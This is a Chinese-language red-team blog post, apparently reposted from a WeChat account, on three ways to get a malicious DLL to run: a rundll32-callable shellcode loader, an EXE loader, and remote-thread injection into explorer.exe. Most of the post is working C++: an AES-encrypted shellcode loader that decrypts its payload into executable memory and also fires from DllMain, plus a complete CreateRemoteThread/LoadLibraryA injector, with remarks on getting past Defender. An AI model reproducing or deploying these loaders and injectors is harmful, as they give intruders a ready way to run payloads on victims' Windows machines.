📌 免责声明:本系列文章仅供网络安全研究人员在合法授权下学习与研究使用,严禁用于任何非法目的。违者后果自负。
DLL(Dynamic Link Library)本质上是无法通过双击直接执行的,它必须被其他程序加载调用。在攻防演练实战中,我们常常需要将编写好的 DLL 加载并执行其恶意逻辑,以下是三种常见方式:
rundll32.exe
是 Windows 提供的一个系统程序,专门用于调用 DLL 文件中导出的函数。
1、首先写一个能用rundll32运行的加载shellcode上线的DLL代码,一定要加上调试代码!
为了让rundll32.exe成功运行你的DLL,该DLL必须满足下面两点:
①必须导出一个函数,函数名不能被C++修饰(即必须extern"C"),并且符合签名;
②不能使用DllMain作为主逻辑,rundll32不会自动执行你在DllMain中的恶意代码,必须通过导出的函数触发。
... // 前面shellcode处理相关代码省略
extern "C" __declspec(dllexport) void CALLBACK Start(LPWSTR lpCmdLine, DWORD nCmdShow) {
MessageBoxA(NULL, "Start() called", "Debug", MB_OK);
HANDLE hThread = CreateThread(NULL, 0, RunShellcode, NULL, 0, NULL);
if (hThread == NULL) {
MessageBoxA(NULL, "CreateThread failed", "Error", MB_OK);
}
else {
WaitForSingleObject(hThread, INFINITE); // 避免主线程提前退出
CloseHandle(hThread);
}
}
// =========== 标准 DllMain ===========
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(hinstDLL); // 减少不必要的通知
}
return TRUE;
}
2、编译
首先,位数一定要匹配。因此编译时也选64位
其次,用VS创建DLL项目时,默认会有固定的头文件。这里可以取消掉
3、使用如下命令运行dll
rundll32.exe qiuhuiDLL2.dll,Start
#rundll32.exe <DLL路径>,<导出函数名>
成功上线!
这是开发测试阶段常用的方式
1、重新写一个加载shellcode上线的DLL,这次改用aes
// dllmain.cpp
...
// ===== AES Key & IV(必须与加密一致)=====
BYTE aesKey[16] = {
// 自己的key
};
BYTE aesIV[16] = {
// 自己的IV
};
// ===== 你用 AES 加密后的 shellcode(示例)=====
unsigned char encrypted_shellcode[] = {
0xf5, 0x1f, 0xd7, 0x50, ...
};
size_t encrypted_len = sizeof(encrypted_shellcode);
// ===== 解密函数(AES-128-CBC)=====
BOOL DecryptShellcode(BYTE* encData, DWORD encLen, BYTE** outData, DWORD* outLen) {
HCRYPTPROV hProv = 0;
HCRYPTKEY hKey = 0;
BOOL success = FALSE;
*outData = NULL;
*outLen = 0;
// 构造明文密钥Blob
BYTE keyBlob[sizeof(BLOBHEADER) + sizeof(DWORD) + 16] = { 0 };
BLOBHEADER* blobHeader = (BLOBHEADER*)keyBlob;
blobHeader->bType = PLAINTEXTKEYBLOB;
blobHeader->bVersion = CUR_BLOB_VERSION;
blobHeader->reserved = 0;
blobHeader->aiKeyAlg = CALG_AES_128;
*(DWORD*)(keyBlob + sizeof(BLOBHEADER)) = 16;
memcpy(keyBlob + sizeof(BLOBHEADER) + sizeof(DWORD), aesKey, 16);
BYTE* buf = (BYTE*)malloc(encLen);
if (!buf) return FALSE;
memcpy(buf, encData, encLen);
do {
if (!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) break;
if (!CryptImportKey(hProv, keyBlob, sizeof(keyBlob), 0, 0, &hKey)) break;
if (!CryptSetKeyParam(hKey, KP_IV, aesIV, 0)) break;
DWORD bufLen = encLen;
if (!CryptDecrypt(hKey, 0, TRUE, 0, buf, &bufLen)) break;
*outData = buf;
*outLen = bufLen;
success = TRUE;
} while (0);
if (!success && buf) free(buf);
if (hKey) CryptDestroyKey(hKey);
if (hProv) CryptReleaseContext(hProv, 0);
return success;
}
// ===== shellcode 执行函数 =====
DWORD WINAPI RunShellcode(LPVOID) {
BYTE* shellcode = NULL;
DWORD shellcodeLen = 0;
if (!DecryptShellcode(encrypted_shellcode, encrypted_len, &shellcode, &shellcodeLen)) {
MessageBoxA(NULL, "AES 解密失败", "错误", MB_OK);
return 1;
}
void* exec = VirtualAlloc(NULL, shellcodeLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!exec) return 2;
memcpy(exec, shellcode, shellcodeLen);
SecureZeroMemory(shellcode, shellcodeLen);
free(shellcode);
((void(*)())exec)(); // 执行 shellcode
return 0;
}
// ===== DLL 自动执行点 =====
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(hinstDLL);
CreateThread(NULL, 0, RunShellcode, NULL, 0, NULL);
}
return TRUE;
}
2、写一个exe加载器
...
intwmain(int argc, wchar_t* argv[]){
if (argc != 2) {
std::wcout << L"用法: LoadDll.exe <完整DLL路径>" << std::endl;
return 1;
}
const wchar_t* dllPath = argv[1];
std::wcout << L"正在尝试加载 DLL: " << dllPath << std::endl;
HMODULE hMod = LoadLibraryW(dllPath);
if (hMod == NULL) {
DWORD err = GetLastError();
std::wcerr << L"LoadLibraryW 失败,错误码: " << err << std::endl;
return 1;
}
std::wcout << L"DLL 加载成功!模块句柄: " << hMod << std::endl;
// 可选:等待手动关闭,以便观察效果
std::wcout << L"按任意键退出..." << std::endl;
std::wcin.get();
// 卸载 DLL(可选)
FreeLibrary(hMod);
return 0;
}
3、两者编译出来,放到DF上执行,成功上线!
这是最常见最基本的DLL注入方式,通过远程线程注入的方式来加载DLL,运行你的恶意函数
1、由于刚才已经拥有DLL,这里再写一个远程注入的注入器即可
...
// 用进程名查找目标进程 PID
DWORD FindProcessId(const std::wstring& processName){
PROCESSENTRY32W pe32 = { 0 };
pe32.dwSize = sizeof(PROCESSENTRY32W);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) return 0;
if (Process32FirstW(hSnapshot, &pe32)) {
do {
if (!_wcsicmp(pe32.szExeFile, processName.c_str())) {
CloseHandle(hSnapshot);
return pe32.th32ProcessID;
}
} while (Process32NextW(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
return 0;
}
intmain(){
const wchar_t* targetProcess = L"explorer.exe"; // 🟡 你可以改成目标进程名
const char* dllPath = "C:\Users\Defender\Desktop\qiuhuiDLL.dll"; // 🟥 修改为你DLL的绝对路径
DWORD pid = FindProcessId(targetProcess);
if (pid == 0) {
std::cout << "未找到目标进程n";
return 1;
}
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProcess) {
std::cout << "打开目标进程失败n";
return 1;
}
size_t pathLen = strlen(dllPath) + 1;
LPVOID remoteBuf = VirtualAllocEx(hProcess, nullptr, pathLen, MEM_COMMIT, PAGE_READWRITE);
if (!remoteBuf) {
std::cout << "内存分配失败n";
CloseHandle(hProcess);
return 1;
}
BOOL written = WriteProcessMemory(hProcess, remoteBuf, dllPath, pathLen, nullptr);
if (!written) {
std::cout << "写入内存失败n";
VirtualFreeEx(hProcess, remoteBuf, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}
// 获取 LoadLibraryA 函数地址(本地)
LPVOID loadLibAddr = (LPVOID)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
if (!loadLibAddr) {
std::cout << "获取 LoadLibraryA 地址失败n";
return 1;
}
// 创建远程线程执行 LoadLibraryA(dllPath)
HANDLE hThread = CreateRemoteThread(hProcess, nullptr, 0,
(LPTHREAD_START_ROUTINE)loadLibAddr, remoteBuf, 0, nullptr);
if (!hThread) {
std::cout << "创建远程线程失败n";
VirtualFreeEx(hProcess, remoteBuf, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}
std::cout << "注入成功,等待远程线程结束...n";
WaitForSingleObject(hThread, INFINITE);
VirtualFreeEx(hProcess, remoteBuf, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
return 0;
}
2、编译出来,放到DF上,直接双击。上线之后立马被干!
后续稍微处理一下,成功上线执行命令
#DLL加载 #rundll32调用 #EXE加载器 #远程线程注入 #DLL注入
原文始发于微信公众号(仇辉攻防):DLL 注入术(二):三种方式,让 DLL 顺利运行起来
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论